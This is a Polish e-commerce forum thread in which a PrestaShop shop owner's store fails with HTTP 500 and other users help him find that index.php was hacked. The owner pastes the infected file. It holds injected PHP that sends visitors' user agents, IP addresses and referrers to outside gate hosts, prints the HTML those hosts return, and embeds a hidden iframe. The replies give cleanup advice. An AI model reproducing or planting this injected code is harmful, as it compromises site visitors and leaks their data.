wdrożenia PrestaShop

Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500

  • 19 Odpowiedzi
  • 7781 Wyświetleń

0 użytkowników i 1 Gość przegląda ten wątek.

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« dnia: Wrzesień 11, 2016, 06:24:58 pm »
Dzisiaj przestał działać mój sklep 1.6.1.2 i pojawia się napis "HTTP ERROR 500".
Podejrzewam problem z wersją PHP. Otóż mam stronę na serwerze OVH i wersję PHP 5.4, która własnie przestała być wspierana przez dostawcę/czerwony trójkącik/. Wersja 5.5 też na razie nie jest wspierana - żółty trójkącik. Wersją stabilną jest PHP 5.6. Zmieniłem na ta wersję /5.6/ w konfiguracji serwera oraz w pliku nadrzędnym .htaccess strony też zmieniłem na PHP 5.6. Sklep nadal nie działa. Czy mam poczekać dłużej - zrobiłem to 2 godziny temu? Czy oprócz tego trzeba coś zmienić w ustawieniach sklepu. Nie pamiętam czy coś ustawiałem przy konfiguracji sklepu na localhoście. Jeśli tak to czy mogę dokonać edycji zdalnie na serwerze np. poprzez Total Comandera? Może być inny powód ?
« Ostatnia zmiana: Wrzesień 11, 2016, 07:08:05 pm wysłana przez chiromancja »

*

Offline endriu107

  • user
  • Mieszkaniec
  • *****
  • 1,197
  • 51
  • PrestaShop: PS
  • Status: forum
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #1 dnia: Wrzesień 12, 2016, 05:35:40 am »
W logach serwera powinny być jakieś istotne wiadomości na ten temat, jesli nie jest to wina wersji php tylko np. jakiegoś skryptu w prescie to tryb debugowania powinien pokazać co powoduje błąd. NIe wiem jak jest na ovh na linuxpl trwa zmiana php do 5 minut.

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #2 dnia: Wrzesień 12, 2016, 08:41:47 am »
Sklep przestał działać bez jakiegokolwiek działania z mojej strony. Jest to o tyle dla mnie przykre bo właśnie z powodzeniem uruchomiłem reklamy produktowe dla sklepu/Adwords/merchants/.
Po włączeniu trybu debugowania pojawia się tylko komunikat ERROR 500.
W logach serwera natomiast "500 26" na przykład:
66.249.64.74 www.tafa.pl - [11/Sep/2016:15:40:51 +0200] "GET /sklep/kleje-do-korka/327-multifix-4-kg.html HTTP/1.1" 500 26 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Strona sklepu to http://www.tafa.pl/sklep

*

Offline west

  • Administrator
  • Mieszkaniec
  • *****
  • 5,292
  • 106
  • Płeć: Mężczyzna
  • Europasaz.pl
    • PrestaShop, Wordpress, SMF, Woocomerce
  • PrestaShop: 8.0
  • Status: Programista
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #3 dnia: Wrzesień 12, 2016, 05:56:04 pm »
Wałcz tryb debugowania i podaj co wyświetliło - FAQ tego forum
MODUŁY | https://europasaz.pl |  SKLEPY INTERNETOWE | WSPARCIE TECHNICZNE | HOSTING | https://europasaz.pl 

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #4 dnia: Wrzesień 12, 2016, 06:32:40 pm »
W folderze config w pliku defines.inc.php zmieniłem na "true"
/* Debug only */
if (!defined('_PS_MODE_DEV_')) {
define('_PS_MODE_DEV_', true);
Ale tryb debugowania nie działa - może tak być? nadal wyświetla się:
Strona tafa.pl nie działa
Serwer tafa.pl nie może teraz obsłużyć tego żądania.
HTTP ERROR 500

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #5 dnia: Wrzesień 12, 2016, 11:42:36 pm »
Sposób na debugowanie nie zadziałał. Zmieniłem dopiero w katalogu głównym w .ovhconfig : environment=development i teraz wyświetliło :
Parse error: syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) in /home/tafactqx/www/sklep/index.php on line 51

*

Offline west

  • Administrator
  • Mieszkaniec
  • *****
  • 5,292
  • 106
  • Płeć: Mężczyzna
  • Europasaz.pl
    • PrestaShop, Wordpress, SMF, Woocomerce
  • PrestaShop: 8.0
  • Status: Programista
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #6 dnia: Wrzesień 13, 2016, 01:15:39 pm »
to teraz sprawdź co masz w tym pliku w linii 51 albo biała spację albo jakaś funkcję [włamanie????] w index.php nie powinno być niczego
MODUŁY | https://europasaz.pl |  SKLEPY INTERNETOWE | WSPARCIE TECHNICZNE | HOSTING | https://europasaz.pl 

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #7 dnia: Wrzesień 13, 2016, 01:46:27 pm »
Też myślałem o włamaniu - konkurencja z powodu dobrej kampanii produktowej w adwords?
W notepad ++ 51 linia tak wygląda:
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);

*

Offline endriu107

  • user
  • Mieszkaniec
  • *****
  • 1,197
  • 51
  • PrestaShop: PS
  • Status: forum
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #8 dnia: Wrzesień 13, 2016, 07:11:40 pm »
Standardowo ten plik powinien być zapisany do 28 linii i nie powinno być czegoś takiego, wklej całą zawartość tego pliku.
Jeszcze tak dopytam czy zaglądałeś ostatnio do działu aktualności i wpisie o bezpieczeństwie?

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #9 dnia: Wrzesień 13, 2016, 08:06:30 pm »
Jeszcze tak dopytam czy zaglądałeś ostatnio do działu aktualności i wpisie o bezpieczeństwie?
Wstyd się przyznać ale nie. Standardowo odwiedzam dział dla początkujących. Zlekceważyłem niebezpieczeństwo.
Oto cały plik index.php:
<?php
/*
* 2007-2015 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@prestashop.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade PrestaShop to newer
* versions in the future. If you wish to customize PrestaShop for your
* needs please refer to http://www.prestashop.com for more information.
*
*  @author PrestaShop SA <contact@prestashop.com>
*  @copyright  2007-2015 PrestaShop SA
*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
*  International Registered Trademark & Property of PrestaShop SA
*/

require(dirname(__FILE__).'/config/config.inc.php');
Dispatcher::getInstance()->dispatch();
 echo "<div style=\"visibility: hidden !important;\">


<?php

error_reporting(0);
ini_set('display_errors', false);
ini_set('html_errors', false);

$gate_list = array(
   'http://babyreva.com/analytics.php',
   'http://mongotruck.com/analytics.php',
   'http://mokrotune.net/analytics.php',
);

$settings = array(
   \"gate_list\" => $gate_list,
   \"marker\" => \"0194f\",
   \"html\" => \"\",
);

function get_params(){
   $ua = urlencode($_SERVER['HTTP_USER_AGENT']);
   $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
   if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
      $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
      $ip = trim($tmp[count($tmp) - 1]);
   } else {
      $ip = $_SERVER['REMOTE_ADDR'];
   }
   $referrer = '';
   if(array_key_exists('HTTP_REFERER', $_SERVER)){
      $referrer =  urlencode($_SERVER['HTTP_REFERER']);
   }
   return \"?action=get&ua=$ua&ip=$ip&referrer=$referrer&lang=$lang\";
}


function get_gate_data(){
   global $settings;
   $url = $settings[\"gate_list\"][array_rand($settings[\"gate_list\"])].get_params();
   $answer = @file($url);
   if(($answer)&&(strpos(implode(\"\", $answer), $settings[\"marker\"])>0)){
      $settings['html'] = implode(\"\", $answer);
      return true;
   } else
      return false;
}


if((get_gate_data())||(get_gate_data())||(get_gate_data())){
   echo rawurldecode($settings['html']);
}
<<<EOF
>
<div style=\"left:11px; position:absolute !important; top:-1480px; font-color: red; font-size: 14px;\"><iframe src=\"http://driftenoma.net/google_counter.php\" width=\"1024\" height=\"768\"></iframe></div>
EOF;

?>

</div>";

*

Offline endriu107

  • user
  • Mieszkaniec
  • *****
  • 1,197
  • 51
  • PrestaShop: PS
  • Status: forum
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #10 dnia: Wrzesień 13, 2016, 08:13:45 pm »
Twój plik powinien sie zakończyć na tym:

require(dirname(__FILE__).'/config/config.inc.php');
Dispatcher::getInstance()->dispatch();

Reszta to doklejony kod, prawdopodobnie nie jest to jedyny plik zainfekowany, w pierwszej kolejności załataj dziury następnie oczyść pliki.

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #11 dnia: Wrzesień 13, 2016, 10:20:40 pm »
Po usunięciu "dodatku" strony zaczęły się wyświetlać. To samo miałem z index.php administratora - też usunąłem i mam dostęp do pulpitu. Sprawdziłem godzinę ataku i stwierdzam, że większość katalogów była edytowana w okolicach tej godziny - nie wiem w jakim zakresie.. Muszę posprawdzać, może zmieniono uprawnienia dostępu do plików? Zmieniłem hasło na ftp oraz administratora sklepu. Chcę zmienić .htaccess w/g sugestii z wątku o bezpieczeństwie w dziale aktualności. Wystarczy zmienić w katalogu nadrzędnym czy w katalogu upload też?

*

Offline west

  • Administrator
  • Mieszkaniec
  • *****
  • 5,292
  • 106
  • Płeć: Mężczyzna
  • Europasaz.pl
    • PrestaShop, Wordpress, SMF, Woocomerce
  • PrestaShop: 8.0
  • Status: Programista
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #12 dnia: Wrzesień 13, 2016, 10:33:22 pm »
Najpierw spróbuj zlokalizować źródło czyli przez co ktoś wszedł. Zmień również hasła do bazy danych. Zobacz czy nie masz doklejonych użytkowników. Po znalezieniu źródła zaktualizuj lukę lub usuń moduł, przez który dokonano włamania. Przeskanuj sklep maldetect lub clamav.
MODUŁY | https://europasaz.pl |  SKLEPY INTERNETOWE | WSPARCIE TECHNICZNE | HOSTING | https://europasaz.pl 

*

Offline endriu107

  • user
  • Mieszkaniec
  • *****
  • 1,197
  • 51
  • PrestaShop: PS
  • Status: forum
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #13 dnia: Wrzesień 14, 2016, 05:03:30 pm »
Właściwie żaden skaner nie daje Ci 100% gwarancji wykrycia, więc najlepiej chyba jest nadpisać pliki czystymi plikami z paczki instalacyjnej, oczywiście pozostawiasz te pliki które musisz, czyli pliki nadpisane włąsnymi zmianami i dodatkowe moduły, ilość pozostałych plików nie powinna być zbyt duża więc możesz dać radę je ręcznie przeglądnąć.

*

Offline chiromancja

  • Użytkownik
  • **
  • 32
  • 0
  • Płeć: Mężczyzna
    • Sklep z artykułami wykończenia wnętrz
  • PrestaShop: 1.6.1
  • Status: Właściciel
Odp: Sklep Prestashop 1.6.1.2 przestał działać HTTP ERROR 500
« Odpowiedź #14 dnia: Wrzesień 14, 2016, 10:40:24 pm »
Analizowałem logi w Preście. Tuż przed atakiem były zapisane jakieś nieprawidłowości związane z przyjęciem szybkiej płatności i niemożnością zmiany statusu zamówienia, ale to chyba nie to. Natomiast w logach serwera były tylko wejścia w karty produktów. Nie potrafię ustalić którędy był atak. Jak rozpoznać?
Jaki cel miał atakujący w dodaniu linijek po tych poniżej?
require(dirname(__FILE__).'/config/config.inc.php');
Dispatcher::getInstance()->dispatch();